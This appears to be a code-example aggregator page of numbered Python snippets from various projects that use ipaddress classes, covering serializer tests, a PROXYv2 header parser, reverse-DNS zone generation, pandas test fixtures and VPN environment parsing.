Ejemplo n.º 1
0
@pytest.mark.parametrize(
    'input,output',
    [
        (UUID('ebcdab58-6eb8-46fb-a190-d07a33e9eac8'),
         '"ebcdab58-6eb8-46fb-a190-d07a33e9eac8"'),
        (IPv4Address('192.168.0.1'), '"192.168.0.1"'),
        (Color('#000'), '"black"'),
        (Color((1, 12, 123)), '"#010c7b"'),
        (SecretStr('abcd'), '"**********"'),
        (SecretStr(''), '""'),
        (SecretBytes(b'xyz'), '"**********"'),
        (SecretBytes(b''), '""'),
        (NameEmail('foo bar',
                   '*****@*****.**'), '"foo bar <*****@*****.**>"'),
        (IPv6Address('::1:0:1'), '"::1:0:1"'),
        (IPv4Interface('192.168.0.0/24'), '"192.168.0.0/24"'),
        (IPv6Interface('2001:db00::/120'), '"2001:db00::/120"'),
        (IPv4Network('192.168.0.0/24'), '"192.168.0.0/24"'),
        (IPv6Network('2001:db00::/120'), '"2001:db00::/120"'),
        (datetime.datetime(2032, 1, 1, 1, 1), '"2032-01-01T01:01:00"'),
        (datetime.datetime(2032, 1, 1, 1, 1, tzinfo=datetime.timezone.utc),
         '"2032-01-01T01:01:00+00:00"'),
        (datetime.datetime(2032, 1, 1), '"2032-01-01T00:00:00"'),
        (datetime.time(12, 34, 56), '"12:34:56"'),
        (datetime.timedelta(days=12, seconds=34,
                            microseconds=56), '1036834.000056'),
        ({1, 2, 3}, '[1, 2, 3]'),
        (frozenset([1, 2, 3]), '[1, 2, 3]'),
        ((v for v in range(4)), '[0, 1, 2, 3]'),
        (b'this is bytes', '"this is bytes"'),
Ejemplo n.º 2
0
async def _get_v2(reader: AsyncReader, initial: ByteString = b"") -> ProxyData:
    proxy_data = ProxyData(version=2)
    whole_raw = bytearray()

    async def read_rest(
        field_name: str, field_buf: bytearray, field_len: int
    ) -> Tuple[bytearray, bytearray]:
        left = field_len - len(field_buf)
        while left > 0:
            piece = await reader.read(left)
            left -= len(piece)
            if not piece or left < 0:
                raise ConnectionError(f"Connection lost while waiting for {field_name}")
            field_buf += piece
        return field_buf[0:field_len], field_buf[field_len:]

    signature = bytearray(initial)
    log.debug("Waiting for PROXYv2 signature")
    signature, header = await read_rest("signature", signature, 12)
    if signature != V2_SIGNATURE:
        return proxy_data.with_error("PROXYv2 wrong signature")
    log.debug("Got PROXYv2 signature")
    whole_raw += signature

    log.debug("Waiting for PROXYv2 Header")
    header, tail_part = await read_rest("header", header, 4)
    log.debug("Got PROXYv2 header")
    whole_raw += header

    ver_cmd, fam_proto, len_tail = struct.unpack("!BBH", header)

    if (ver_cmd & 0xF0) != 0x20:
        return proxy_data.with_error("PROXYv2 illegal version")

    proxy_data.command = ver_cmd & 0x0F
    if proxy_data.command not in V2_VALID_CMDS:
        return proxy_data.with_error("PROXYv2 unsupported command")

    proxy_data.family = (fam_proto & 0xF0) >> 4
    if proxy_data.family not in V2_VALID_FAMS:
        return proxy_data.with_error("PROXYv2 unsupported family")

    proxy_data.protocol = fam_proto & 0x0F
    if proxy_data.protocol not in V2_VALID_PROS:
        return proxy_data.with_error("PROXYv2 unsupported protocol")

    log.debug("Waiting for PROXYv2 tail part")
    tail_part, _ = await read_rest("tail part", tail_part, len_tail)
    log.debug("Got PROXYv2 tail part")
    whole_raw += tail_part
    proxy_data.whole_raw = whole_raw

    if fam_proto not in V2_PARSE_ADDR_FAMPRO:
        proxy_data.rest = tail_part
        return proxy_data

    if proxy_data.family == AF.INET:
        unpacker = "!4s4sHH"
    elif proxy_data.family == AF.INET6:
        unpacker = "!16s16sHH"
    else:
        assert proxy_data.family == AF.UNIX
        unpacker = "108s108s0s0s"

    addr_len = struct.calcsize(unpacker)
    addr_struct = tail_part[0:addr_len]
    if len(addr_struct) < addr_len:
        return proxy_data.with_error("PROXYv2 truncated address")
    tail_part = tail_part[addr_len:]
    s_addr, d_addr, s_port, d_port = struct.unpack(unpacker, addr_struct)

    if proxy_data.family == AF.INET:
        proxy_data.src_addr = IPv4Address(s_addr)
        proxy_data.dst_addr = IPv4Address(d_addr)
        proxy_data.src_port = s_port
        proxy_data.dst_port = d_port
    elif proxy_data.family == AF.INET6:
        proxy_data.src_addr = IPv6Address(s_addr)
        proxy_data.dst_addr = IPv6Address(d_addr)
        proxy_data.src_port = s_port
        proxy_data.dst_port = d_port
    else:
        assert proxy_data.family == AF.UNIX
        proxy_data.src_addr = s_addr
        proxy_data.dst_addr = d_addr

    proxy_data.rest = tail_part
    if tail_part:
        proxy_data.tlv_start = 16 + addr_len

    return proxy_data
Ejemplo n.º 3
0
 def targetaddr(self, value):
     self._targetaddr = IPv6Address(value)
Ejemplo n.º 4
0
def test_decimal(value, expected):
    result = dumps(value)
    assert result == bytes.fromhex(expected)


@pytest.mark.parametrize('value, expected', [
    (re.compile('[0-9]+"'), 'd823675b302d395d2b22'),
    (re.compile('hello (world)'), 'd8236d68656c6c6f2028776f726c6429'),
    (UUID(hex='5eaffac8b51e480581277fdcc7842faf'),
     'd825505eaffac8b51e480581277fdcc7842faf'),
    (Fraction(2, 5), 'd81e820205'),
    (Fraction(-3, 5), 'd81e822205'),
    (Fraction(-8, -14), 'd81e820407'),
    (IPv4Address('192.168.1.5'), 'd9010444c0a80105'),
    (IPv4Address('192.10.10.1'), 'd9010444c00a0a01'),
    (IPv6Address('32:193:56:77::2'),
     'd901045000320193005600770000000000000002'),
    (IPv6Address('2001:db8:85a3::8a2e:370:7334'),
     'd901045020010db885a3000000008a2e03707334'),
    (IPv4Network('0.0.0.0/0'), 'd90105a1440000000000'),
    (IPv4Network('192.168.0.100/24', strict=False), 'd90105a144c0a800001818'),
    (IPv6Network('2001:db8:85a3:0:0:8a2e::/96', strict=False),
     'd90105a15020010db885a3000000008a2e000000001860'),
],
                         ids=[
                             'regex 1',
                             'regex 2',
                             'UUID',
                             'rational 1',
                             'rational 2',
                             'rational 3',
 def get_node_address(self, address: str, type: str):
     addr = IPv6Address(address).compressed      # todo make another solution
     if addr in self._nodes[type]:
         return self._nodes[type][addr]
     return None
Ejemplo n.º 6
0
 def __init__(self, **kwargs):
     self._targetaddr = IPv6Address("::0")
     self._r = 0
     self._s = 0
     self._o = 0
     super().__init__(**kwargs)
Ejemplo n.º 7
0
    taken from http://hg.python.org/cpython/file/default/Lib/ipaddress.py
    """
    reverse_chars = self.exploded[::-1].replace(':', '')
    return '.'.join(reverse_chars) + '.ip6.arpa'


setattr(IPv6Address, 'reverse_pointer', property(reverse_pointer))

## configure your RDNS generation here:
host = "example.com."
first_name_server = "ns1.example.com."
administrative_contact = "admin.example.com."
subnet = IPv6Network("2001:db8::/32")
rdns_entries = []
# a list of RDNS entries which are of the form (IPv6Address, FQDN)
rdns_entries.append((subnet.combine_with(IPv6Address("::1")), "host1." + host))
rdns_entries.append((subnet.combine_with(IPv6Address("::2")), "host2." + host))

## should not need to modify:
record_ttl = "1h"
from datetime import datetime
zone_serial = datetime.now().strftime("%Y%m%d%H%M%S")
slave_refresh_interval = "1h"
slave_retry_interval = "15m"
slave_expiration_time = "1w"
nxdomain_cache_time = "1h"

### Begin of the output generation

print("; Zone file built with the Python Tool rdns.py:")
print("; " + __doc__.replace("\n", "\n; "))
Ejemplo n.º 8
0
def get_series():
    test_series = [
        # Int Series
        pd.Series([1, 2, 3], name="int_series"),
        pd.Series(range(10), name="int_range"),
        pd.Series([1, 2, 3], name="Int64_int_series", dtype="Int64"),
        pd.Series([1, 2, 3, np.nan], name="Int64_int_nan_series", dtype="Int64"),
        pd.Series([1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0], name="int_series_boolean"),
        # Count
        pd.Series(np.array([1, 2, 3, 4], dtype=np.uint32), name="np_uint32"),
        # Categorical
        pd.Series([1, 2, 3], name="categorical_int_series", dtype="category"),
        pd.Series(
            pd.Categorical(
                ["A", "B", "C", "C", "B", "A"],
                categories=["A", "B", "C"],
                ordered=False,
            ),
            name="categorical_char",
        ),
        pd.Series([1.0, 2.0, 3.1], dtype="category", name="categorical_float_series"),
        pd.Series(
            ["Georgia", "Sam"], dtype="category", name="categorical_string_series"
        ),
        pd.Series(
            [np.complex(0, 0), np.complex(1, 2), np.complex(3, -1)],
            name="categorical_complex_series",
            dtype="category",
        ),
        # Ordinal
        pd.Series(
            pd.Categorical(
                ["A", "B", "C", "C", "B", "A"], categories=["A", "B", "C"], ordered=True
            ),
            name="ordinal",
        ),
        # Float Series
        pd.Series([1.0, 2.1, 3.0], name="float_series"),
        pd.Series([1.0, 2.5, np.nan], name="float_nan_series"),
        pd.Series([1.0, 2.0, 3.0, 4.0], name="float_series2"),
        pd.Series(np.array([1.2, 2, 3, 4], dtype=np.float), name="float_series3"),
        pd.Series([1, 2, 3.05, 4], dtype=np.float, name="float_series4"),
        pd.Series([np.nan, 1.2], name="float_series5"),
        pd.Series([np.nan, 1.1], dtype=np.single, name="float_series6"),
        pd.Series([np.inf, np.NINF, np.PINF, 1000000.0, 5.5], name="float_with_inf"),
        pd.Series([np.inf, np.NINF, np.Infinity, np.PINF], name="inf_series"),
        pd.Series([1, 2, np.nan], name="int_nan_series"),
        # Nan Series
        pd.Series([np.nan], name="nan_series"),
        pd.Series([np.nan, np.nan, np.nan, np.nan], name="nan_series_2"),
        # String Series
        pd.Series(["Patty", "Valentine"], name="string_series"),
        pd.Series(["1941-05-24", "13/10/2016"], name="timestamp_string_series"),
        pd.Series(["mack", "the", "finger"], name="string_unicode_series"),
        pd.Series(
            np.array(["upper", "hall"], dtype=np.unicode_),
            name="string_np_unicode_series",
        ),
        pd.Series(["1.0", "2.0", np.nan], name="string_num_nan"),
        pd.Series(["1,000.0", "2.1", np.nan], name="string_with_sep_num_nan"),
        pd.Series(["1.0", "2.0", "3.0"], name="string_num"),
        pd.Series(["1.0", "45.67", np.nan], name="string_flt_nan"),
        pd.Series(["1.0", "45.67", "3.5"], name="string_flt"),
        pd.Series(
            ["POINT (-92 42)", "POINT (-92 42.1)", "POINT (-92 42.2)"],
            name="geometry_string_series",
        ),
        pd.Series(
            [
                "I was only robbing the register,",
                "I hope you understand",
                "One of us had better call up the cops",
                "In the hot New Jersey night",
                np.nan,
            ],
            name="string_str_nan",
        ),
        pd.Series(["True", "False", None], name="string_bool_nan"),
        pd.Series(range(20), name="int_str_range").astype("str"),
        pd.Series(["1937-05-06", "20/4/2014"], name="string_date"),
        pd.Series(
            [
                "http://www.cwi.nl:80/%7Eguido/Python.html",
                "https://github.com/pandas-profiling/pandas-profiling",
            ],
            name="str_url",
        ),
        pd.Series(
            [r"C:\\home\\user\\file.txt", r"C:\\home\\user\\test2.txt"],
            name="path_series_windows_str",
        ),
        pd.Series(
            [r"/home/user/file.txt", r"/home/user/test2.txt"],
            name="path_series_linux_str",
        ),
        pd.Series(["0011", "12"], name="str_int_leading_zeros"),
        pd.Series(["0.0", "0.04", "0"], name="str_float_non_leading_zeros"),
        pd.Series(["0.0", "0.000", "0", "2"], name="str_int_zeros"),
        # Bool Series
        pd.Series([True, False], name="bool_series"),
        pd.Series([True, False, None], name="bool_nan_series"),
        pd.Series([True, False, None], name="nullable_bool_series", dtype="Bool"),
        pd.Series([True, False, False, True], name="bool_series2", dtype=bool),
        pd.Series([True, False, False, True], name="bool_series2", dtype=bool),
        pd.Series(np.array([1, 0, 0, 1], dtype=np.bool), name="bool_series3"),
        # Complex Series
        pd.Series(
            [np.complex(0, 0), np.complex(1, 2), np.complex(3, -1)],
            name="complex_series",
        ),
        pd.Series(
            [
                np.complex(0, 0),
                np.complex(1, 2),
                np.complex(3, -1),
                np.complex(np.nan, np.nan),
            ],
            name="complex_series_nan",
        ),
        pd.Series(["(1+1j)", "(2+2j)", "(10+100j)"], name="str_complex"),
        pd.Series(
            [np.complex(0, 0), np.complex(1, 2), np.complex(3, -1), np.nan],
            name="complex_series_nan_2",
        ),
        pd.Series(
            [complex(0, 0), complex(1, 2), complex(3, -1), np.nan],
            name="complex_series_py_nan",
        ),
        pd.Series(
            [complex(0, 0), complex(1, 2), complex(3, -1)], name="complex_series_py"
        ),
        pd.Series(
            [np.complex(0, 0), np.complex(1, 0), np.complex(3, 0), np.complex(-1, 0)],
            name="complex_series_float",
        ),
        # Datetime Series
        pd.to_datetime(
            pd.Series(
                [datetime.datetime(2017, 3, 5, 12, 2), datetime.datetime(2019, 12, 4)],
                name="timestamp_series",
            )
        ),
        pd.to_datetime(
            pd.Series(
                [
                    datetime.datetime(2017, 3, 5),
                    datetime.datetime(2019, 12, 4, 3, 2, 0),
                    pd.NaT,
                ],
                name="timestamp_series_nat",
            )
        ),
        pd.to_datetime(
            pd.Series(
                [datetime.datetime(2017, 3, 5), datetime.datetime(2019, 12, 4), pd.NaT],
                name="date_series_nat",
            )
        ),
        pd.Series(
            pd.date_range(
                start="2013-05-18 12:00:01",
                periods=2,
                freq="H",
                tz="Europe/Brussels",
                name="timestamp_aware_series",
            )
        ),
        pd.to_datetime(
            pd.Series(
                [
                    datetime.date(2011, 1, 1),
                    datetime.date(2012, 1, 2),
                    datetime.date(2013, 1, 1),
                ],
                name="datetime",
            )
        ),
        # Date series
        pd.Series(
            [
                datetime.date(2011, 1, 1),
                datetime.date(2012, 1, 2),
                datetime.date(2013, 1, 1),
            ],
            name="date",
        ),
        # Time series
        pd.Series(
            [
                datetime.time(8, 43, 12),
                datetime.time(9, 43, 12),
                datetime.time(10, 43, 12),
            ],
            name="time",
        ),
        # http://pandas-docs.github.io/pandas-docs-travis/user_guide/timeseries.html#timestamp-limitations
        # pd.to_datetime(
        #     pd.Series(
        #         [
        #             datetime.datetime(year=1, month=1, day=1, hour=8, minute=43, second=12),
        #             datetime.datetime(year=1, month=1, day=1, hour=9, minute=43, second=12),
        #             datetime.datetime(
        #                 year=1, month=1, day=1, hour=10, minute=43, second=12
        #             ),
        #         ],
        #         name="datetime_to_time",
        #     )
        # ),
        # Timedelta Series
        pd.Series([pd.Timedelta(days=i) for i in range(3)], name="timedelta_series"),
        pd.Series(
            [pd.Timedelta(days=i) for i in range(3)] + [pd.NaT],
            name="timedelta_series_nat",
        ),
        pd.Series(
            [
                pd.Timedelta("1 days 00:03:43"),
                pd.Timedelta("5 days 12:33:57"),
                pd.Timedelta("0 days 01:25:07"),
                pd.Timedelta("-2 days 13:46:56"),
                pd.Timedelta("1 days 23:49:25"),
            ],
            name="timedelta_negative",
        ),
        # Geometry Series
        pd.Series(
            [
                wkt.loads("POINT (-92 42)"),
                wkt.loads("POINT (-92 42.1)"),
                wkt.loads("POINT (-92 42.2)"),
            ],
            name="geometry_series",
        ),
        pd.Series(
            [
                wkt.loads("POINT (-92 42)"),
                wkt.loads("POINT (-92 42.1)"),
                wkt.loads("POINT (-92 42.2)"),
                None,
            ],
            name="geometry_series_missing",
        ),
        # Path Series
        pd.Series(
            [
                PurePosixPath("/home/user/file.txt"),
                PurePosixPath("/home/user/test2.txt"),
            ],
            name="path_series_linux",
        ),
        pd.Series(
            [
                PurePosixPath("/home/user/file.txt"),
                PurePosixPath("/home/user/test2.txt"),
                None,
            ],
            name="path_series_linux_missing",
        ),
        pd.Series(
            [
                PureWindowsPath("C:\\home\\user\\file.txt"),
                PureWindowsPath("C:\\home\\user\\test2.txt"),
            ],
            name="path_series_windows",
        ),
        # Url Series
        pd.Series(
            [
                urlparse("http://www.cwi.nl:80/%7Eguido/Python.html"),
                urlparse("https://github.com/dylan-profiling/hurricane"),
            ],
            name="url_series",
        ),
        pd.Series(
            [
                urlparse("http://www.cwi.nl:80/%7Eguido/Python.html"),
                urlparse("https://github.com/dylan-profiling/hurricane"),
                np.nan,
            ],
            name="url_nan_series",
        ),
        pd.Series(
            [
                urlparse("http://www.cwi.nl:80/%7Eguido/Python.html"),
                urlparse("https://github.com/dylan-profiling/hurricane"),
                None,
            ],
            name="url_none_series",
        ),
        # UUID Series
        pd.Series(
            [
                uuid.UUID("0b8a22ca-80ad-4df5-85ac-fa49c44b7ede"),
                uuid.UUID("aaa381d6-8442-4f63-88c8-7c900e9a23c6"),
                uuid.UUID("00000000-0000-0000-0000-000000000000"),
            ],
            name="uuid_series",
        ),
        pd.Series(
            [
                uuid.UUID("0b8a22ca-80ad-4df5-85ac-fa49c44b7ede"),
                uuid.UUID("aaa381d6-8442-4f63-88c8-7c900e9a23c6"),
                uuid.UUID("00000000-0000-0000-0000-000000000000"),
                None,
            ],
            name="uuid_series_missing",
        ),
        pd.Series(
            [
                "0b8a22ca-80ad-4df5-85ac-fa49c44b7ede",
                "aaa381d6-8442-4f63-88c8-7c900e9a23c6",
                "00000000-0000-0000-0000-000000000000",
            ],
            name="uuid_series_str",
        ),
        # Object Series
        pd.Series([[1, ""], [2, "Rubin"], [3, "Carter"]], name="mixed_list[str,int]"),
        pd.Series(
            [{"why": "did you"}, {"bring him": "in for he"}, {"aint": "the guy"}],
            name="mixed_dict",
        ),
        pd.Series(
            [pd.to_datetime, pd.to_timedelta, pd.read_json, pd.to_pickle],
            name="callable",
        ),
        pd.Series([pd, wkt, np], name="module"),
        pd.Series(["1.1", "2"], name="textual_float"),
        pd.Series(["1.1", "2", "NAN"], name="textual_float_nan"),
        # Object (Mixed, https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.api.types.infer_dtype.html)
        pd.Series(["a", 1], name="mixed_integer"),
        pd.Series([True, False, np.nan], name="mixed"),
        pd.Series([[True], [False], [False]], name="mixed_list"),
        pd.Series([[1, ""], [2, "Rubin"], [3, "Carter"]], name="mixed_list[str,int]"),
        pd.Series(
            [{"why": "did you"}, {"bring him": "in for he"}, {"aint": "the guy"}],
            name="mixed_dict",
        ),
        # IP
        pd.Series([IPv4Address("127.0.0.1"), IPv4Address("127.0.0.1")], name="ip"),
        pd.Series(["127.0.0.1", "127.0.0.1"], name="ip_str"),
        # Empty
        pd.Series([], name="empty"),
        pd.Series([], name="empty_float", dtype=float),
        pd.Series([], name="empty_int64", dtype="Int64"),
        pd.Series([], name="empty_object", dtype="object"),
        pd.Series([], name="empty_bool", dtype=bool),
        # IP
        pd.Series([IPv4Address("127.0.0.1"), IPv4Address("127.0.0.1")], name="ip"),
        pd.Series(
            [IPv4Address("127.0.0.1"), None, IPv4Address("127.0.0.1")],
            name="ip_missing",
        ),
        pd.Series(
            [IPv6Address("0:0:0:0:0:0:0:1"), IPv4Address("127.0.0.1")],
            name="ip_mixed_v4andv6",
        ),
        pd.Series(["127.0.0.1", "127.0.0.1"], name="ip_str"),
        # File
        pd.Series(
            [
                pathlib.Path(os.path.join(base_path, "series.py")).absolute(),
                pathlib.Path(os.path.join(base_path, "__init__.py")).absolute(),
                pathlib.Path(os.path.join(base_path, "test_copy.py")).absolute(),
            ],
            name="file_test_py",
        ),
        pd.Series(
            [
                pathlib.Path(os.path.join(base_path, "..", "make.bat")).absolute(),
                pathlib.Path(os.path.join(base_path, "..", "README.rst")).absolute(),
                pathlib.Path(os.path.join(base_path, "test_copy.py")).absolute(),
            ],
            name="file_mixed_ext",
        ),
        pd.Series(
            [
                pathlib.Path(os.path.join(base_path, "series.py")).absolute(),
                None,
                pathlib.Path(os.path.join(base_path, "__init__.py")).absolute(),
                None,
                pathlib.Path(os.path.join(base_path, "test_copy.py")).absolute(),
            ],
            name="file_test_py_missing",
        ),
        # Image
        pd.Series(
            [
                pathlib.Path(
                    os.path.join(
                        base_path,
                        "../src/visions/visualisation/typesets/typeset_complete.png",
                    )
                ).absolute(),
                pathlib.Path(
                    os.path.join(
                        base_path,
                        r"../src/visions/visualisation/typesets/typeset_standard.png",
                    )
                ).absolute(),
                pathlib.Path(
                    os.path.join(
                        base_path,
                        r"../src/visions/visualisation/typesets/typeset_geometry.png",
                    )
                ).absolute(),
            ],
            name="image_png",
        ),
        pd.Series(
            [
                pathlib.Path(
                    os.path.join(
                        base_path,
                        r"../src/visions/visualisation/typesets/typeset_complete.png",
                    )
                ).absolute(),
                pathlib.Path(
                    os.path.join(
                        base_path,
                        r"../src/visions/visualisation/typesets/typeset_standard.png",
                    )
                ).absolute(),
                None,
                pathlib.Path(
                    os.path.join(
                        base_path,
                        r"../src/visions/visualisation/typesets/typeset_geometry.png",
                    )
                ).absolute(),
                None,
            ],
            name="image_png_missing",
        ),
        # Email
        pd.Series(
            [FQDA("test", "example.com"), FQDA("info", "example.eu")],
            name="email_address",
        ),
        pd.Series(
            [FQDA("test", "example.com"), FQDA("info", "example.eu"), None],
            name="email_address_missing",
        ),
        pd.Series(["*****@*****.**", "*****@*****.**"], name="email_address_str"),
    ]

    if int(pd.__version__[0]) >= 1:
        pandas_1_series = [
            pd.Series(
                ["Patty", "Valentine"], dtype="string", name="string_dtype_series"
            )
        ]
        test_series.extend(pandas_1_series)

    return test_series
Ejemplo n.º 9
0
    def test_select_not_in_list_empty(self):
        ips = [
            IPv6Address('1234::1'),
            IPv6Address('42e::2'),
            IPv6Address('beef::3'),
            IPv6Address('f42e::ffff')
        ]

        with self.create_table(self.table):
            self.session.execute(self.table.insert(), [{
                'x': ip
            } for ip in ips])

            self.assertEqual(
                self.session.query(self.table.c.x).filter(
                    self.table.c.x.notin_([])).all(),
                [(IPv6Address('1234::1'), ), (IPv6Address('42e::2'), ),
                 (IPv6Address('beef::3'), ), (IPv6Address('f42e::ffff'), )])
            self.assertEqual(
                self.session.query(
                    self.table.c.x).filter(~self.table.c.x.in_([])).all(),
                [(IPv6Address('1234::1'), ), (IPv6Address('42e::2'), ),
                 (IPv6Address('beef::3'), ), (IPv6Address('f42e::ffff'), )])
Ejemplo n.º 10
0
def reverse_lookup_ipv6(ip: str):
    parsed_ip = IPv6Address(ip)
    return ip, resolve(
        f"{'.'.join(parsed_ip.exploded.replace(':', '')[::-1])}.ip6.arpa",
        "PTR")
Ejemplo n.º 11
0
    def test_select_insert(self):
        a = IPv6Address('79f4:e698:45de:a59b:2765:28e3:8d3a:35ae')

        with self.create_table(self.table):
            self.session.execute(self.table.insert(), [{'x': a}])
            self.assertEqual(self.session.query(self.table.c.x).scalar(), a)
Ejemplo n.º 12
0
    ('gateway', 'VPNGATEWAY', ip_address),
    ('tundev', 'TUNDEV', str),
    ('domain', 'CISCO_DEF_DOMAIN', str),
    ('banner', 'CISCO_BANNER', str),
    ('myaddr', 'INTERNAL_IP4_ADDRESS', IPv4Address),  # a.b.c.d
    ('mtu', 'INTERNAL_IP4_MTU', int),
    ('netmask', 'INTERNAL_IP4_NETMASK', IPv4Address),  # a.b.c.d
    ('netmasklen', 'INTERNAL_IP4_NETMASKLEN', int),
    ('network', 'INTERNAL_IP4_NETADDR', IPv4Address),  # a.b.c.d
    ('dns', 'INTERNAL_IP4_DNS', lambda x: [IPv4Address(x)
                                           for x in x.split()], []),
    ('nbns', 'INTERNAL_IP4_NBNS',
     lambda x: [IPv4Address(x) for x in x.split()], []),
    ('myaddr6', 'INTERNAL_IP6_ADDRESS', IPv6Interface),  # x:y::z or x:y::z/p
    ('netmask6', 'INTERNAL_IP6_NETMASK', IPv6Interface),  # x:y:z:: or x:y::z/p
    ('dns6', 'INTERNAL_IP6_DNS', lambda x: [IPv6Address(x)
                                            for x in x.split()], []),
]


def parse_env(env=None, environ=os.environ):
    global vpncenv
    if env is None:
        env = slurpy()
    for var, envar, maker, *default in vpncenv:
        if envar in environ:
            try:
                val = maker(environ[envar])
            except Exception as e:
                print(
                    'Exception while setting %s from environment variable %s=%r'
Ejemplo n.º 13
0
 def parse(self, name: str, data: str, ttl: int) -> DNSRecordBase:
     from ipaddress import IPv6Address
     from pypdnsrest.dnsrecords import DNSAaaaRecord
     rec = DNSAaaaRecord(name, timedelta(seconds=ttl))
     rec.set_data(IPv6Address(data))
     return rec
Ejemplo n.º 14
0
def gen_ipv6(ipv6_subnet):
    seed()
    network = IPv6Network(ipv6_subnet)
    return IPv6Address(network.network_address +
                       getrandbits(network.max_prefixlen - network.prefixlen))
Ejemplo n.º 15
0
def parse_env(environ=os.environ):
    global vpncenv
    env = slurpy()
    for var, envar, maker, *default in vpncenv:
        if envar in environ:
            try:
                val = maker(environ[envar])
            except Exception as e:
                print(
                    'Exception while setting %s from environment variable %s=%r'
                    % (var, envar, environ[envar]),
                    file=stderr)
                raise
        elif default:
            val, = default
        else:
            val = None
        if var is not None: env[var] = val

    # IPv4 network is the combination of the network address (e.g. 192.168.0.0) and the netmask (e.g. 255.255.0.0)
    if env.network:
        orig_netaddr = env.network
        env.network = IPv4Network(
            env.network).supernet(new_prefix=env.netmasklen)
        if env.network.network_address != orig_netaddr:
            print(
                "WARNING: IPv4 network %s/%d has host bits set, replacing with %s"
                % (orig_netaddr, env.netmasklen, env.network),
                file=stderr)
        if env.network.netmask != env.netmask:
            raise AssertionError(
                "IPv4 network (INTERNAL_IP4_{{NETADDR,NETMASK}}) {ad}/{nm} does not match INTERNAL_IP4_NETMASKLEN={nml} (implies /{nmi})"
                .format(ad=orig_netaddr,
                        nm=env.netmask,
                        nml=env.netmasklen,
                        nmi=env.network.netmask))
        assert env.network.netmask == env.netmask

    # Need to match behavior of original vpnc-script here
    # Examples:
    #   1) INTERNAL_IP6_ADDRESS=fe80::1, INTERNAL_IP6_NETMASK=fe80::/64  => interface of fe80::1/64,  network of fe80::/64
    #   2) INTERNAL_IP6_ADDRESS=unset,   INTERNAL_IP6_NETMASK=fe80::1/64 => interface of fe80::1/64,  network of fe80::/64
    #   3) INTERNAL_IP6_ADDRESS=2000::1, INTERNAL_IP6_NETMASK=unset      => interface of 2000::1/128, network of 2000::1/128
    if env.myaddr6 or env.netmask6:
        if not env.netmask6:
            env.netmask6 = IPv6Network(env.myaddr6)  # case 3 above, /128
        env.myaddr6 = IPv6Interface(env.netmask6)
        env.network6 = env.myaddr6.network
    else:
        env.myaddr6 = None
        env.network6 = None

    env.myaddrs = list(filter(None, (env.myaddr, env.myaddr6)))

    # Handle splits
    env.splitinc = []
    env.splitexc = []
    for pfx, n in chain((('INC', n) for n in range(env.nsplitinc)),
                        (('EXC', n) for n in range(env.nsplitexc))):
        ad = IPv4Address(environ['CISCO_SPLIT_%s_%d_ADDR' % (pfx, n)])
        nm = IPv4Address(environ['CISCO_SPLIT_%s_%d_MASK' % (pfx, n)])
        nml = int(environ['CISCO_SPLIT_%s_%d_MASKLEN' % (pfx, n)])
        net = IPv4Network(ad).supernet(new_prefix=nml)
        if net.network_address != ad:
            print(
                "WARNING: IPv4 split network (CISCO_SPLIT_%s_%d_{ADDR,MASK}) %s/%d has host bits set, replacing with %s"
                % (pfx, n, ad, nml, net),
                file=stderr)
        if net.netmask != nm:
            raise AssertionError(
                "IPv4 split network (CISCO_SPLIT_{pfx}_{n}_{{ADDR,MASK}}) {ad}/{nm} does not match CISCO_SPLIT_{pfx}_{n}_MASKLEN={nml} (implies /{nmi})"
                .format(pfx=pfx, n=n, ad=ad, nm=nm, nml=nml, nmi=net.netmask))
        env['split' + pfx.lower()].append(net)

    for pfx, n in chain((('INC', n) for n in range(env.nsplitinc6)),
                        (('EXC', n) for n in range(env.nsplitexc6))):
        ad = IPv6Address(environ['CISCO_IPV6_SPLIT_%s_%d_ADDR' % (pfx, n)])
        nml = int(environ['CISCO_IPV6_SPLIT_%s_%d_MASKLEN' % (pfx, n)])
        net = IPv6Network(ad).supernet(new_prefix=nml)
        if net.network_address != ad:
            print(
                "WARNING: IPv6 split network (CISCO_IPV6_SPLIT_%s_%d_{ADDR,MASKLEN}) %s/%d has host bits set, replacing with %s"
                % (pfx, n, ad, nml, net),
                file=stderr)
        env['split' + pfx.lower()].append(net)

    return env
Ejemplo n.º 16
0
 def get_ceea_bits(self, mapce_address):
     mask = 2**(self.ealen) - 1
     maskshift = (128 - self.rulev6mask - self.ealen)
     eabits = (int(IPv6Address(mapce_address)) &
               (mask << maskshift)) >> maskshift
     return eabits
Ejemplo n.º 17
0
def make_sn_mc(addr):
    snmc_prefix = 'FF02:0:0:0:0:1:FF'
    suffix = get_snmc_suffix(addr)
    res = snmc_prefix + suffix
    sn_mc = IPv6Address(res).exploded
    return sn_mc
Ejemplo n.º 18
0
 def test_link_address(self):
     self.assertEqual(self.bundle.link_address,
                      IPv6Address('2001:db8:ffff:1::1'))
     self.assertEqual(self.ia_bundle.link_address, IPv6Address('::'))
Ejemplo n.º 19
0
def get_snmc_mac_suffix(addr):
    ip = IPv6Address(addr).exploded
    return ip[-9:]
Ejemplo n.º 20
0
 def to_python(self, value: str) -> IPv6Address:
     return IPv6Address(value)
Ejemplo n.º 21
0
def ip6_str_to_bytes(ip6_str):
    """Convert ip address 127.0.0.1 to byte representation."""
    return v6_int_to_packed(int(IPv6Address(ip6_str)))
Ejemplo n.º 22
0
 def __init__(self, **kwargs):
     self._targetaddr = IPv6Address("::0")
     self._destaddr = IPv6Address("::0")
     super().__init__(**kwargs)
Ejemplo n.º 23
0
def ip6_bytes_to_str(ip6_bytes):
    """Convert ip address from byte representation to 127.0.0.1."""
    return str(IPv6Address(ip6_bytes))
Ejemplo n.º 24
0
 def destaddr(self, value):
     self._destaddr = IPv6Address(value)
Ejemplo n.º 25
0
def decrypt_ipv6_bytes_key(key: bytes, ip: IPv6Address) -> IPv6Address:
    return IPv6Address(AESModeOfOperationECB(key).decrypt(ip.packed))
Ejemplo n.º 26
0
def ip_v6_address_validator(v: Any) -> IPv6Address:
    if isinstance(v, IPv6Address):
        return v

    with change_exception(errors.IPv6AddressError, ValueError):
        return IPv6Address(v)
Ejemplo n.º 27
0
def make_multicast_mac(target_ipv6: str):
    map_addr = int(IPv6Address(target_ipv6))
    map_addr = map_addr & 0xFFFFFFFF
    multicast_mac = '3333.%04X.%04X' % (map_addr >> 16, map_addr & 0xFFFF)
    return multicast_mac
Ejemplo n.º 28
0
from common.stereotype_tags import StereotypeTags, DeviceClass

from ipaddress import IPv6Address

hostname_to_ips = {
    "wsn1": IPv6Address("fd00::1"),
